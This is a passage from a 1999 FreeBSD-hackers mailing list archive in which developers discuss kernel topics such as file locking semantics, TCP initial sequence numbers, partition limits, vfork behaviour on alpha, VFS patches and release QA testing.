hub.freebsd.org (Postfix) with ESMTP id 05B87153B5; Wed, 25 Aug 1999 18:15:04 -0700 (PDT) (envelope-from jobaldwi@vt.edu) Received: from sable.cc.vt.edu (sable.cc.vt.edu [128.173.16.30]) by quackerjack.cc.vt.edu (8.8.8/8.8.8) with ESMTP id RAA25123; Wed, 25 Aug 1999 17:59:06 -0400 (EDT) Received: from john.baldwin.cx (hC6524392.dhcp.vt.edu [198.82.67.146]) by sable.cc.vt.edu (8.8.8/8.8.8) with ESMTP id RAA09768; Wed, 25 Aug 1999 17:59:06 -0400 (EDT) Message-Id: <199908252159.RAA09768@sable.cc.vt.edu> X-Mailer: XFMail 1.3 [p0] on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: <19990825131656.A9782@kilt.nothing-going-on.org> Date: Wed, 25 Aug 1999 17:59:16 -0400 (EDT) From: John Baldwin To: Nik Clayton Subject: Re: [Fwd: Re: cvs commit: doc/en/handbook/ports chapter.sgml] Cc: hackers@freebsd.org, "Daniel C. Sobral" Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On 25-Aug-99 Nik Clayton wrote: > On Mon, Aug 23, 1999 at 07:58:52PM +0900, Daniel C. Sobral wrote: >> While going through old cvs commit log, I spotted this: > > > >> + >> +/* Please update doc/en/handbook/ports/chapter.sgml when changing >> */ >> #undef __FreeBSD_version >> #define __FreeBSD_version 400008 /* Master, propagated to newvers >> */ > > > > Well spotted. I'll fix this shortly. > > N According to cvsweb at freefall, that commit was never made, so there's no comment to update. --- John Baldwin -- http://members.freedomnet.com/~jbaldwin/ PGP Key: http://members.freedomnet.com/~jbaldwin/pgpkey.asc "Power Users Use the Power to Serve!" - http://www.freebsd.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed Aug 25 20:52:53 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from Ilsa.StevesCafe.com (Ilsa.StevesCafe.com [206.168.13.65]) by hub.freebsd.org (Postfix) with ESMTP id 70ED9157A6 for ; Wed, 25 Aug 1999 20:52:51 -0700 (PDT) (envelope-from smp@Ilsa.StevesCafe.com) Received: from Ilsa.StevesCafe.com (localhost [127.0.0.1]) by Ilsa.StevesCafe.com (8.9.3/8.9.3) with ESMTP id SAA43203; Wed, 25 Aug 1999 18:46:42 -0600 (MDT) (envelope-from smp@Ilsa.StevesCafe.com) Message-Id: <199908260046.SAA43203@Ilsa.StevesCafe.com> X-Mailer: exmh version 2.0.2 2/24/98 From: Steve Passe To: Mike Smith Cc: hackers@FreeBSD.ORG Subject: Re: keyboard + custom keypad. In-reply-to: Your message of "Wed, 25 Aug 1999 14:38:08 PDT." <199908252138.OAA01210@dingo.cdrom.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 25 Aug 1999 18:46:42 -0600 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > > Hi, > > > > I need to add a keypad to a product in development that will co-exist > > with the standard keyboard. It will be a fairly dumb pad capable of > ... > > You could just design the pad using a "keyboard wedge" so that it lives > on the same bus as the keyboard. This is well-understood tech that's > been used for years for things like barcode scanners... In this case its already designed, sitting on a combo card with other sections of the product. Basically, I get an INTR whenever any of 12 keys is closed or opened. I then read 2 bytes from the ISA bus to determine the current state of all 12 keys. Comparing this to the previous state I determine which key changed, then "create" a datum equal to F1 thru F12, as appropriate. The puzzle is where to inject this datum into the flow of data going between atkbdc/atkbd/kdbio/syscons... ps. I am surprised my mail made it to hackers, I just changed ISPs and reverse name lookups are still failing, and hub claimed to have rejected the mailing! -- Steve Passe | powered by smp@csn.net | Symmetric MultiProcessor FreeBSD To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed Aug 25 22:19:17 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from lorax.ubergeeks.com (lorax.ubergeeks.com [206.205.41.241]) by hub.freebsd.org (Postfix) with ESMTP id D44B415013 for ; Wed, 25 Aug 1999 22:19:13 -0700 (PDT) (envelope-from adrian@ubergeeks.com) Received: from localhost (adrian@localhost) by lorax.ubergeeks.com (8.8.8/8.8.8) with SMTP id BAA21953; Thu, 26 Aug 1999 01:18:05 -0400 (EDT) (envelope-from adrian@ubergeeks.com) Date: Thu, 26 Aug 1999 01:18:05 -0400 (EDT) From: Adrian Filipi-Martin Reply-To: Adrian Filipi-Martin To: Mark Newton Cc: Matthew Dillon , freebsd-hackers@FreeBSD.ORG Subject: Re: Possibility of increasing default MAXPARTITIONS from 8 to 16 In-Reply-To: <199908242246.IAA12694@gizmo.internode.com.au> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, 25 Aug 1999, Mark Newton wrote: > Matthew Dillon wrote: > > > The question I am putting to the group is whether it is "time" for us, > > with today's large disks, to increase the system-compiled default > > from 8 to 16 partitions. Instead of a-h we would have a-p > > It makes sense; We wouldn't be the first to do it either (IRIX has > supported 16 partitions per spindle for years). The same is true for OpenBSD. I too run out of partitions and am in favor of this change. I'm not sure, but I think the OpenBSD folks did something that allowed them to remain compatible with the 8 partition labels. In any case, it groks SunOS and Solaris labels on my OpenBSD sparc. Adrian -- [ adrian@ubergeeks.com -- Ubergeeks Consulting -- http://www.ubergeeks.com/ ] To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Aug 26 0: 2:22 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from ns.oeno.com (ns.oeno.com [194.100.99.145]) by hub.freebsd.org (Postfix) with SMTP id 4C02E14CA1 for ; Thu, 26 Aug 1999 00:02:08 -0700 (PDT) (envelope-from will@ns.oeno.com) Received: (qmail 19865 invoked by uid 1001); 26 Aug 1999 06:59:47 -0000 Date: 26 Aug 1999 06:59:47 -0000 Message-ID: <19990826065947.19862.qmail@ns.oeno.com> From: Ville-Pertti Keinonen To: tlambert@primenet.com Cc: wes@softweyr.com, hackers@FreeBSD.ORG In-reply-to: <199908251902.MAA08329@usr08.primenet.com> (message from Terry Lambert on Wed, 25 Aug 1999 19:02:18 +0000 (GMT)) Subject: Re: Mandatory locking? Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > Not to jump down your throat, or anything, but you seem to be > perpetuating some incorrct assumptions about both effect and > proposed implementation details, and they must be stomped. 8-). I was assuming that mandatory locking, in the context of this discussion, does not mean automatic, forced exclusion on open, but rather explicit locks, applied by calls similar to those used for advisory locking, that are enforced by the kernel. The arguments presented by most people seem to rely on such an interpretation. To avoid confusion, I'll refer to the possible locking methods as advisory locking, explicit locking and implicit locking. > Advisory locking lacks coherency for a NetWare, SMB, AppleTalk, or > other file server running under FreeBSD as a hosted OS. > It also has the problem that the hosted OS semantics, if they > include mandatory locking, are not enforced against other > processes, e.g. between an SMB server and an AppleTalk server > running on the same machine, or beteen an SMB server and a UNIX > program both needing access to the same database. Yes, if file service protocols don't provide locking (or if one of the operating systems involved doesn't provide locking) they obviously can't benefit from any locking that isn't done implicitly. > Also, I believe your example is flawed. If a file is opened by a Not for explicit locking, I hope. > process that requires mandatory locking, no process that does not > also open the file with mandatory locking turned on can access the > file. Neither can a program that requires mandatory locking > semantics open the file if it is open by a process not using those > same semantics. So if a process wishes to use explicit locking calls, it indicates that intent when opening the file - otherwise, the open implicitly locks the file. So multiple writers, or simultaneous readers and writers are only permitted for programs that indicate that they are going to use explicit locks on the file. This could actually make sense. But I don't think that is what is being suggested. > Mandatory locking for things like database files is necessary, > unless the underlying FS supports records (in which case, like > FILES-11, it most likely supports record locking anyway, and > may only decide not to support them if it seperately implements > a transaction facility). > You have to have mandatory locking to implement transactions... > like updating the parity bits on a RAID 5 stripe. But you certainly don't want to use open/read/write/close cycles for such a purpose. > This is why so many _real_ UNIX databases like to squat on their > own raw disk partition. > > Locking entire files, in addition to ranges, would seem to me to be of > > further benefit, as it would allow properly locking programs to fully > > protect against any single non-locking program which, like Greg's cat > > example, would presumably be run interactively and thus would require > > explicit stupidity to create additional races. > This is already possible, using O_EXCL. Likewise, it doesn't I think you mean O_EXLOCK. It sets an advisory lock, it does not help against programs that don't use locks. > apply to device files, and can not be applied (via fcntl(2)) to > any files whose vnodes indirect through other than the vfsops > version of "struct fileops". It doesn't depend on the struct fileops selected, fcntl checks explicitly that f_type is DTYPE_VNODE before assuming that f_data points to a vnode. > For SVR4 semantics, you can set the suid/sgid permission bits on a > non-executable file. The document describing "mandatory" locking in Linux seems to indicate that setting sgid changes the behavior of locking calls to apply explicit locks rather than merely advisory ones, and that this is what is done by other operating systems as well. Actually an implementation could still use the existing (advisory) locks internally, but apply advisory locks in the kernel for the duration of operations that need them (read/write/some cases of open). > The act of opening the file for O_RDONLY sets a read lock on the > entire file, which allows multiple readers, and the act of opening > the file O_RDWR sets a write lock on the file, which allows a single > writer. I'm fairly certain this is not what is being discussed. Certainly not by more than half of the participants in the discussion. ;--) > Again, there are no issues with badly behaved processes. There > is no such thing as a badly behaved process. I agree, for implicit locks there isn't. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Aug 26 1:37:41 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from mercury.is.co.za (mercury.is.co.za [196.4.160.222]) by hub.freebsd.org (Postfix) with ESMTP id 70E3C14F18 for ; Thu, 26 Aug 1999 01:37:08 -0700 (PDT) (envelope-from geoff@hangdog.is.co.za) Received: from admin.is.co.za (admin.is.co.za [196.23.0.9]) by mercury.is.co.za (8.9.3/8.9.3) with ESMTP id KAA27719; Thu, 26 Aug 1999 10:36:45 +0200 Received: from hangdog.is.co.za (hangdog.is.co.za [196.23.0.108]) by admin.is.co.za (8.8.6/8.7.3/ISsubsidiary#1) with ESMTP id KAA00944; Thu, 26 Aug 1999 10:37:04 +0200 (GMT) Received: (from geoff@localhost) by hangdog.is.co.za (8.9.3/8.9.2) id KAA01802; Thu, 26 Aug 1999 10:37:03 +0200 (SAST) (envelope-from geoff) From: Geoff Rehmet Message-Id: <199908260837.KAA01802@hangdog.is.co.za> Subject: TCP initial sequence numbers To: hackers@freebsd.org Date: Thu, 26 Aug 1999 10:37:03 +0200 (SAST) Cc: markm@iafrica.com Reply-To: "Geoff Rehmet" X-Mailer: ELM [version 2.4ME+ PL43 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG With the hacking I have been doing, looking at initial TCP sequence numbers, I ran across the following: /* * Tcp initialization */ void tcp_init() { int hashsize; tcp_iss = random(); /* wrong, but better than a constant */ If you look at RFC793: To avoid confusion we must prevent segments from one incarnation of a connection from being used while the same sequence numbers may still be present in the network from an earlier incarnation. We want to assure this, even if a TCP crashes and loses all knowledge of the *********** sequence numbers it has been using. When new connections are created, an initial sequence number (ISN) generator is employed which selects a new 32 bit ISN. The generator is bound to a (possibly fictitious) 32 bit clock whose low order bit is incremented roughly every 4 microseconds. Thus, the ISN cycles approximately every 4.55 hours. Since we assume that segments will stay in the network no more than the Maximum Segment Lifetime (MSL) and that the MSL is less than 4.55 hours we can reasonably assume that ISN's will be unique. This tells us, that we need to assure that things happen as required, even when TCP crashes (or the system reboots). Thus, it looks like we should rather start off the tcp_iss based on the system clock, plus a random increment. This way, we fullfil the goals of sequence numbers being unpredictable, and we also ensure that we carry on with a monotonically increasing series of initial sequence numbers. (Using microtime() and dividing by 4 should give a reasonable approximation to work with.) I will look at a change to this shortly. Geoff. -- Geoff Rehmet, The Internet Solution - Infrastructure tel: +27-11-283-5462, fax: +27-11-283-5401 mobile: +27-83-292-5800 email: geoffr@is.co.za URL: http://www.is.co.za To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Aug 26 3:26:29 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from axl.noc.iafrica.com (axl.noc.iafrica.com [196.31.1.175]) by hub.freebsd.org (Postfix) with ESMTP id C6A8315C11 for ; Thu, 26 Aug 1999 03:26:19 -0700 (PDT) (envelope-from sheldonh@axl.noc.iafrica.com) Received: from sheldonh (helo=axl.noc.iafrica.com) by axl.noc.iafrica.com with local-esmtp (Exim 3.02 #1) id 11Jwhm-000FDZ-00 for freebsd-hackers@freebsd.org; Thu, 26 Aug 1999 12:24:26 +0200 From: Sheldon Hearn To: freebsd-hackers@freebsd.org Subject: mkfifo default creation mode 0777 Date: Thu, 26 Aug 1999 12:24:26 +0200 Message-ID: <58500.935663066@axl.noc.iafrica.com> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi folks, I'm about to add a flag to mkfifo that allows you to specify creation mode. NetBSD does this already. However, there's a difference in the way our mkfifo and NetBSd's mkfifo create files. We create with permissions 0777 modified by umask. NetBSD creates with permissions 0666 modified by umask. I can't see why we use 0777. Would bad things happened if I changed this to 0666 while I'm in there? Ciao, Sheldon. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Aug 26 4:25: 8 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from iclub.nsu.ru (iclub.nsu.ru [193.124.222.66]) by hub.freebsd.org (Postfix) with ESMTP id 05D97153FC for ; Thu, 26 Aug 1999 04:24:41 -0700 (PDT) (envelope-from fjoe@iclub.nsu.ru) Received: from localhost (fjoe@localhost) by iclub.nsu.ru (8.9.3/8.9.3) with ESMTP id SAA34746 for ; Thu, 26 Aug 1999 18:22:06 +0700 (NSS) (envelope-from fjoe@iclub.nsu.ru) Date: Thu, 26 Aug 1999 18:22:04 +0700 (NSS) From: Max Khon To: hackers@freebsd.org Subject: dropped connections (fwd) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG hi, there! sorry for asking here, but got no replies on -questions direct replies are not nessessary if you'll answer to -hackers ---------- Forwarded message ---------- Date: Mon, 23 Aug 1999 17:54:32 +0700 (NSS) From: Max Khon To: questions@freebsd.org Subject: dropped connections hi, there! after upgrade to 3.2-STABLE from 2.2.8-STABLE we are experiencing problems with closed telnet sessions. If a user drops connection (closes telnet on his workstation without logging off) pdmenu, midnight commander and other programs eat up all the CPU (99% CPU usage as reported by top) Is there anything that changed between 2.x and 3.x and can cause this affect? Is there any workaround? Please reply directly as I am not subscribed /fjoe To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Aug 26 7:28: 7 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from phoenix.aye.net (phoenix.aye.net [206.185.8.134]) by hub.freebsd.org (Postfix) with SMTP id 690D315BBB for ; Thu, 26 Aug 1999 07:27:59 -0700 (PDT) (envelope-from barrett@phoenix.aye.net) Received: (qmail 14437 invoked by uid 1000); 26 Aug 1999 14:18:49 -0000 Received: from localhost (sendmail-bs@127.0.0.1) by localhost with SMTP; 26 Aug 1999 14:18:49 -0000 Date: Thu, 26 Aug 1999 10:18:49 -0400 (EDT) From: Barrett Richardson To: Max Khon Cc: hackers@freebsd.org Subject: Re: dropped connections (fwd) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu, 26 Aug 1999, Max Khon wrote: > > hi, there! > > after upgrade to 3.2-STABLE from 2.2.8-STABLE we are experiencing problems > with closed telnet sessions. If a user drops connection (closes telnet > on his workstation without logging off) pdmenu, midnight commander and > other programs eat up all the CPU (99% CPU usage as reported by top) > Is there anything that changed between 2.x and 3.x and can cause > this affect? Is there any workaround? Please reply directly as I am not > subscribed > > /fjoe > That happens to me when I have some user interface that is reading user input from stdin. The user nukes his telnet session ungracefully and whatever is reading from stdin then gets fed info something like "not a tty" or some other message it does not consider valid input. It falls into a loop to process the input, can't make sense of it, so loops back for more user input, and gets the same message -- it repeats ad infinitum and is a bummer. - Barrett To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Aug 26 7:40:44 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from mrelay.jrc.it (mrelay.jrc.it [139.191.1.65]) by hub.freebsd.org (Postfix) with ESMTP id E706715C6C for ; Thu, 26 Aug 1999 07:40:36 -0700 (PDT) (envelope-from nick.hibma@jrc.it) Received: from elect8 (elect8.jrc.it [139.191.71.152]) by mrelay.jrc.it (LMC5692) with ESMTP id QAA27839; Thu, 26 Aug 1999 16:36:06 +0200 (MET DST) Date: Thu, 26 Aug 1999 16:36:06 +0200 (MET DST) From: Nick Hibma X-Sender: n_hibma@elect8 Reply-To: Nick Hibma To: Barrett Richardson Cc: Max Khon , hackers@FreeBSD.ORG Subject: Re: dropped connections (fwd) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG ee does the same. The reason is that the program does not check for EOF on stdin, it continuously loops. It's a bug in the program. The thing that could have been changed is a signal from the shell that is no longer sent or so. The problem is the program, not the OS. It might be wortwhile to find the problem, solve and send the patch to the maintainer of the port and the original author. Nick > > hi, there! > > > > after upgrade to 3.2-STABLE from 2.2.8-STABLE we are experiencing problems > > with closed telnet sessions. If a user drops connection (closes telnet > > on his workstation without logging off) pdmenu, midnight commander and > > other programs eat up all the CPU (99% CPU usage as reported by top) > > Is there anything that changed between 2.x and 3.x and can cause > > this affect? Is there any workaround? Please reply directly as I am not > > subscribed > > > > /fjoe > > > > That happens to me when I have some user interface that is > reading user input from stdin. The user nukes his telnet > session ungracefully and whatever is reading from stdin then > gets fed info something like "not a tty" or some other message > it does not consider valid input. It falls into a loop > to process the input, can't make sense of it, so loops back for > more user input, and gets the same message -- it repeats > ad infinitum and is a bummer. > > - > > Barrett > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-hackers" in the body of the message > > -- ISIS/STA, T.P.270, Joint Research Centre, 21020 Ispra, Italy To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Aug 26 7:41:10 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from duke.cs.duke.edu (duke.cs.duke.edu [152.3.140.1]) by hub.freebsd.org (Postfix) with ESMTP id AE46515C98 for ; Thu, 26 Aug 1999 07:40:53 -0700 (PDT) (envelope-from gallatin@cs.duke.edu) Received: from grasshopper.cs.duke.edu (grasshopper.cs.duke.edu [152.3.145.30]) by duke.cs.duke.edu (8.9.1/8.9.1) with ESMTP id KAA07648 for ; Thu, 26 Aug 1999 10:40:29 -0400 (EDT) Received: (from gallatin@localhost) by grasshopper.cs.duke.edu (8.9.3/8.9.1) id KAA06735; Thu, 26 Aug 1999 10:40:29 -0400 (EDT) (envelope-from gallatin@cs.duke.edu) From: Andrew Gallatin MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Date: Thu, 26 Aug 1999 10:40:29 -0400 (EDT) To: freebsd-hackers@freebsd.org Subject: undocumented vfork behaviour? X-Mailer: VM 6.43 under 20.4 "Emerald" XEmacs Lucid Message-ID: <14277.18939.326895.354112@grasshopper.cs.duke.edu> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I'm working on getting linux/alpha compatability going in FreeBSD/alpha & I stumbled over some odd fork behaviour that I was hoping somebody could shed some light on. Specifically, when a linux/alpha process forks, the child's return value is the parent's pid rather than zero. I tracked this behaviour down to the child's code path in the alpha's cpu_fork(): /* * Set up return-value registers as fork() libc stub expects. */ p2tf->tf_regs[FRAME_V0] = p1->p_pid; /* parent's pid */ p2tf->tf_regs[FRAME_A3] = 0; /* no error */ p2tf->tf_regs[FRAME_A4] = 1; /* is child */ In the i386 & mips libc Ovfork stubs, I see comments which describe this behaviour: /* * pid = vfork(); * * %edx == 0 in parent process, %edx == 1 in child process. * %eax == pid of child in parent, %eax == pid of parent in child. * */ Is this comment purely historical? At least the i386 platform no longer seems to do this: If I run the following code on FreeBSD/i386, I see: parent's pid = 6730 I am the child, result = 0 I must be the parent, result = 6731 Whereas FreeBSD/alpha does this: parent's pid = 17721 I must be the parent, result = 17721 I must be the parent, result = 17722 Code: #include #include main() { int result; printf("parent's pid = %d\n", getpid()); result = syscall(SYS_vfork); if(result == 0) printf("I am the child, result = %d\n", result); else printf("I must be the parent, result = %d\n", result); exit(); } Before I "fix it" to act like FreeBSD/i386 (I've already tried & it seems to work OK for FreeBSD & OSF1 binaries, and fixes my linux/alpha binary's problems), I'd like to make sure there aren't any hidden ramifications. Thanks, Drew ------------------------------------------------------------------------------ Andrew Gallatin, Sr Systems Programmer http://www.cs.duke.edu/~gallatin Duke University Email: gallatin@cs.duke.edu Department of Computer Science Phone: (919) 660-6590 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Aug 26 7:51:12 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from tornado.cisco.com (tornado.cisco.com [171.69.104.22]) by hub.freebsd.org (Postfix) with ESMTP id 0CD4114E1A for ; Thu, 26 Aug 1999 07:51:09 -0700 (PDT) (envelope-from bmcgover@bmcgover-pc.cisco.com) Received: from bmcgover-pc.cisco.com (bmcgover-pc.cisco.com [171.69.104.147]) by tornado.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id KAA28721 for ; Thu, 26 Aug 1999 10:49:50 -0400 (EDT) Received: from bmcgover-pc.cisco.com (localhost.pa.dtd.cisco.com [127.0.0.1]) by bmcgover-pc.cisco.com (8.9.3/8.9.3) with ESMTP id KAA02505 for ; Thu, 26 Aug 1999 10:49:50 -0400 (EDT) (envelope-from bmcgover@bmcgover-pc.cisco.com) Message-Id: <199908261449.KAA02505@bmcgover-pc.cisco.com> To: hackers@freebsd.org Subject: Looking for good QA tests... Date: Thu, 26 Aug 1999 10:49:50 -0400 From: Brian McGovern Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi everyone... Back in June, at Usenix, Jordan and I talked about doing some more formalized QA on FreeBSD releases. Unfortunately, this has yet to go really far, as I was trying to complete some commitments, and have some infrastructure in place before I started making this endeavor overly public, as I'm also trying to keep the amount of time I have to put in to it to a moderate pace. However, I'm now at the point where I'd like to start collecting materials to do this. By "materials", I mean both test scenarios and code for performing these tests. While I now have your mind spinning, I'd like to lay down some limits. Firstly, my current resources for testing is relatively small. I have four machines that I can use most of the time. Therefore, we can't do "everything, all the time", so tests should be limited to cover as broad a range of items as we have time for. My estimation is we will get approximately 48 hours per release candidate as we move towards Jordan cutting a release. In between, we might get a bit more slack, but not a lot. Secondly, these tests can not take a lot of person hours to perform. _I_ can give approximately 1-2 man hours per test cycle. Therefore, these tests need to be automated, have good reporting (especially if they fail), and be easy to set up and run. Lastly, these tests should be tests, and not benchmarks. I can't stress this enough. Knowing how fasts my disks are is useless compared to a bug in the network interface that causes the machine to panic. Now, as more people sign on to both write code/test plans, as well as do the testing, we might be able to expand the types of tests we can run. My plans are to wrap up whatever I'm given in the form of code in to a port/package set, and have it distributed so that anyone with a spare machine can come onboard and help out. Therefore, I'm asking people to put their minds to work, and talk about valid tests that we could run to catch things that might slip through the cracks. I'm hoping that some of the long-timers can point out areas that have been missed before, and others to point out areas where they have seen local problems. I am hoping that there are also enough interested people out there with coding skills (this may be an area where heavy-duty skills are not required) can take some of these ideas, and convert them in to test code that operates within the limits above. I look forward to hearing your comments. -Brian To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Aug 26 8:13: 5 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from fw.wintelcom.net (ns1.wintelcom.net [209.1.153.20]) by hub.freebsd.org (Postfix) with ESMTP id 47FEC14D83; Thu, 26 Aug 1999 08:13:00 -0700 (PDT) (envelope-from bright@wintelcom.net) Received: from localhost (bright@localhost) by fw.wintelcom.net (8.8.8/8.8.8) with ESMTP id IAA18732; Thu, 26 Aug 1999 08:28:29 GMT (envelope-from bright@wintelcom.net) Date: Thu, 26 Aug 1999 08:28:29 +0000 (GMT) From: Alfred Perlstein To: hackers@freebsd.org Cc: fs@freebsd.org, Michael Hancock , David Greenman Subject: HEADS UP Reviewers. VFS changes to be committed. Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I've posted 2 times asking for someone to review these diffs: http://big.endian.org/~bright/freebsd/in_progress/vfs-fhsyscall.diff Am I to take it that silence is accpetance? I'll be committing this to -current tonight or tomorrow unless I get feedback. See attached email for details. thank you, -Alfred Perlstein - [bright@rush.net|alfred@freebsd.org] Wintelcom systems administrator and programmer - http://www.wintelcom.net/ [bright@wintelcom.net] ---------- Forwarded message ---------- Date: Tue, 24 Aug 1999 17:24:42 +0000 (GMT) From: Alfred Perlstein To: fs@freebsd.org Subject: VFS cleanup and fh*() syscalls almost complete. I have tested this code lightly, it compiles cleanly and the NFS server code still seems to work. http://big.endian.org/~bright/freebsd/in_progress/vfs-fhsyscall.diff Several things have been done, mostly inspired by NetBSD: 1) VFS_FHTOVP has been split into 2 VFS ops: VFS_FHTOVP now only takes a mountpoint, filehandle and **vnode VFS_CHECKEXP now takes the export checking arguments that VFS_FHTOVP used to take. 2) The casting of VFS ops to eopnotsupp() has been removed and vfs_nop*() functions have been put into kern/vfs_default.c This makes it more clear that certain VFS-ops are giving default behavior, either returning automatic success or returning EOPNOTSUPP. Someone mentioned that EOPNOTSUPP should be replaced by EINVAL, can that person please speak up? Also, some filesystems that actually implemented VFS-ops that did nothing or returned EOPNOTSUPP have had those functions deleted except when they are essential to understanding the VFS, or if it looked like they may eventually be filled in. 3) fh(open|stat|statfs) have been haphazardly implemented, meaning I won't be able to test them until tonight. Testers? Critics? Comments? please? If you're wondering why/what I'm doing, it's the kernel support for a lockd that I'm working on, as well as a cleanup I thought would make it easier to understand our filesystem code. I'm sure some people will be wondering: Why does VFS_CHECKEXP take a vnode and not a mount point? Hopefully in the future a filesystem will be able to more restrictively export its files, this will help facilitate that. Lastly, I'm jumping the gun here and posting a lightly tested patch because I've had to re-merge this stuff 3 times already and would like comments on not only functionality, but style as well. This way I can either commit it, (after more testing) or scrap the whole project. What I have to do next is make the fh*() syscalls solid and investigate the veto locking ideas that have been brought up in the past. thanks for you time, -Alfred Perlstein - [bright@rush.net|alfred@freebsd.org] Wintelcom systems administrator and programmer - http://www.wintelcom.net/ [bright@wintelcom.net] To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Aug 26 8:26:43 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from axl.noc.iafrica.com (axl.noc.iafrica.com [196.31.1.175]) by hub.freebsd.org (Postfix) with ESMTP id CEEEA15DD9; Thu, 26 Aug 1999 08:26:24 -0700 (PDT) (envelope-from sheldonh@axl.noc.iafrica.com) Received: from sheldonh (helo=axl.noc.iafrica.com) by axl.noc.iafrica.com with local-esmtp (Exim 3.02 #1) id 11K1Pc-0001ng-00; Thu, 26 Aug 1999 17:26:00 +0200 From: Sheldon Hearn To: Alfred Perlstein Cc: hackers@freebsd.org, fs@freebsd.org, Michael Hancock , David Greenman Subject: Re: HEADS UP Reviewers. VFS changes to be committed. In-reply-to: Your message of "Thu, 26 Aug 1999 08:28:29 GMT." Date: Thu, 26 Aug 1999 17:26:00 +0200 Message-ID: <6923.935681160@axl.noc.iafrica.com> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu, 26 Aug 1999 08:28:29 GMT, Alfred Perlstein wrote: > Am I to take it that silence is accpetance? I'll be committing this > to -current tonight or tomorrow unless I get feedback. Recent discussions with bde and eivind indicate that at least some of the code you're about to touch has one or more maintainers. Kirk McKusick is probably one of them. Make sure you contact the maintainers directly before smacking their code. Also, I'd suggest that it's a bad idea to say "if I get no feedback before tonight, I'm committing". I think this applies even if it's not the first time you've asked for review. Basically, timezones and stuff make for a situation where such an e-mail is useless for many of your readers. Ciao, Sheldon. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Aug 26 8:59:32 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from penelope.skunk.org (penelope.skunk.org [208.133.204.51]) by hub.freebsd.org (Postfix) with ESMTP id 4BBB014D09 for ; Thu, 26 Aug 1999 08:59:30 -0700 (PDT) (envelope-from ben@penelope.skunk.org) Received: from localhost (ben@localhost) by penelope.skunk.org (8.9.3/8.9.3) with ESMTP id LAA54502 for ; Thu, 26 Aug 1999 11:59:10 -0400 (EDT) Date: Thu, 26 Aug 1999 11:59:10 -0400 (EDT) From: Ben Rosengart To: hackers@freebsd.org Subject: df and procfs Message-ID: MIME-Version: 1.0 